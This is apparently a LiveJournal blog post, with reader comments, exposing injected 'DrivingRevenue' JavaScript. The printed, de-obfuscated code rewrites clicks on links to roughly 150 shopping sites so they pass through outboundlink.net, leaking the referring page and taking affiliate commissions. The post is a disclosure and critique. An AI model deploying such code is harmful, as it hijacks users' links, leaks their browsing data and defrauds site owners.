halloween, witch, want an apple?

A nice cup of rabies

Rantings with occasional art.

Previous Entry Share Next Entry
What is LJ doing to my links? Part 4
halloween, witch, want an apple?
shatterstripes
If anyone's curious, here's the unpacked, de-obfuscated code in dRev.js.

function DrivingRevenue() {
    var _flag = 0;
    var _date = new Date();
    var currentHour = _date.getHours();
    var hostname = window["location"]["hostname"];
    hostname = hostname["replace"]("www.", "")["toLowerCase"]();
    var _URLList = new Array("ebay.com","amazon.com","ebay.co.uk","ebay.ca","newegg.com","cars.com","geeks.com","musiciansfriend.com","bestbuy.com","edmunds.com","sears.com","tigerdirect.com","bodybuilding.com","ebay.fr","auctionads.com","shoppingads.com","jcwhitney.com","autoanything.com","autopartswarehouse.com","motorcycle-superstore.com","buy.com","batteries.com","4wheelparts.com","carfax.com","jr.com","vanns.com","amazon.co.uk","bikebandit.com","motosport.com","ebags.com","itunes.apple.com","godaddy.com","dell.com","overstock.com","4wd.com","autobarn.net","guitarcenter.com","compusa.com","6ave.com","etronics.com","partstore.com","emusic.com","music123.com","ticketmaster.com","meritline.com","mwave.com","skype.com","abt.com","zappos.com","ritzcamera.com","borders.com","officedepot.com","autosportcatalog.com","sedo.com","zipzoomfly.com","www.web.com","onsale.com","hotels.com","pcconnection.com","streetsideauto.com","macmall.com","thenerds.net","advanceautoparts.com","ecost.com","hammacher.com","autopartsgiant.com","abesofmaine.com","drugstore.com","gnc.com","1and1.com","networksolutions.com","fandango.com","all-battery.com","amazon.ca","bhphotovideo.com","dotster.com","borders.com","drivingcomfort.com","ebay.com.au","ebay.ie","ebay.de","ebay.es","ebay.nl","ebay.at","ebay.be","ebay.ch","ebay.it","finishline.com","leasetrader.com","macconnection.com","officemax.com","peapod.com","pcmall.com","stubhub.com","travelocity.com","orbitz.com","discountperformanceautoparts.com","performance4trucks.com","priceline.com","paintball-online.com","wineenthusiast.com","americanmuscle.com","jegs.com","summitracing.com","shoemall.com","www.fye.com","1800petmeds.com","autoparts123.com","blinds.com","dell.ca","magazines.com","store.nascar.com","petsmart.com","shop.sirius.com","cycle-parts.com","hmhd.com","allthingsjeep.com","autopartsnerd.com","eforcity.com","onecall.com","pcuniverse.com","activemusician.com","allbikesupershop.com","kmart.com","realhog.com","target.com","autogeek.net","sheetmusicplus.com","partsgeek.com","dvdplanet.com","shopping.hp.com","andysautosport.com","jafrum.com","cdwow.com","euro.dell.com","novatech.co.uk","tesco.com","misco.co.uk","play.com","johnlewis.com","tvcables.co.uk","comet.co.uk","dixons.co.uk","pcworld.co.uk","digitalempireonline.co.uk","rapidonline.com","meshcomputers.com","sharp.co.uk","currys.co.uk","electricaldiscountuk.co.uk","mymemory.co.uk","digitaldirectuk.com","ajelectronics.co.uk","microdirect.co.uk","7dayshop.com","advancedmp3players.co.uk","be-direct.co.uk","hifibitz.co.uk");
		
    if (currentHour < 6) {
        _URLList["push"]("tirerack.com");
        _flag = 1
    };
    var documentLinks = document["getElementsByTagName"]("a"),
    currentLink = 0;
    for (; documentLinks[currentLink]; currentLink++) {
        j = 0;
        if ((documentLinks[currentLink]["href"])["indexOf"]("http://") != -1 && (documentLinks[currentLink]["href"])["indexOf"](hostname) == -1) {
            for (; _URLList[j]; j++) {
                if ((documentLinks[currentLink]["href"])["indexOf"](_URLList[j]) != -1 && ((documentLinks[currentLink]["href"])["indexOf"]("AFFCODE") == -1 && (documentLinks[currentLink]["href"])["indexOf"]("a.jsp") == -1)) {
                    documentLinks[currentLink]["onclick"] = DrevClick;
                    documentLinks[currentLink]["oncontextmenu"] = DrevRightClick;
                    break
                }
            }
        }
    }
};
function DrevClick() {
    var _flag = 0;
    var _date = new Date();
    var currentHour = _date["getHours"]();
    if (currentHour < 6) {
        _flag = 1
    };
    var newWindow = window["open"]("http://outboundlink.net/out.php?cid=" + DR_id + "&tr=" + _flag + "&url=" + encodeURIComponent(this["href"]) + "&ref=" + encodeURIComponent(location["href"]));
    newWindow["focus"]();
    return ! newWindow
};
function DrevRightClick() {
    var _innerText = this["innerText"];
    var _flag = 0;
    var _date = new Date();
    var currentHour = _date["getHours"]();
    if (currentHour < 6) {
        _flag = 1
    };
    if (this["href"]["indexOf"]("outboundlink.net") == -1) {
        this["href"] = "http://outboundlink.net/out.php?cid=" + DR_id + "&tr=" + _flag + "&url=" + encodeURIComponent(this["href"]) + "&ref=" + encodeURIComponent(location["href"]);
        this["innerText"] = _innerText + ""
        };
    return true
};


The two bits I find most amusing are "if it's before 6AM where you are, we add tirerack.com to the list of URLs we fiddle with" and "oh maybe we shouldn't steal people's affiliate links but we only bother checking for 'AFFCODE' which is one of the many, many possibilities", both to be found in the main DrivingRevenue() function.

Oh, and of course I'm also amused by
var DR_id = '1111'; // Is this a real ID or we'll be asked to change it? :)
DrivingRevenue();
which can be found in every single page LJ's serving unless you've opted out of this stuff. *grin*

Thanks for all your work. Would you be willing to update your original post with links to parts 2, 3, and 4 (and any other resources you've got)? That's what I'm primarily pointing people to.

I started putting the 'drivingrevenue.net' tag on them, I'll put a note at the bottom to point people's attention there for more!

It looks like something has decided that it was a good idea to try to hyphenate the code; furthermore, it's done a dreadful job, sticking hyphens in within 1 character of the start/end of a "word"!

You might want to try to restrain whatever it is...

P.S. also, for some reason the background image seems to be forming a stripe down the center of the page, which is pretty distracting.

The stripe is intentional; it's a visual link to my website.

I have no idea what's doing the hyphenation. Somebody's inserting a bunch of &shy; and it seems to be LJ; if I edit the post it's not there. Editing it and changing the <code> the code was in to a %lt;pre> seems to have fixed it.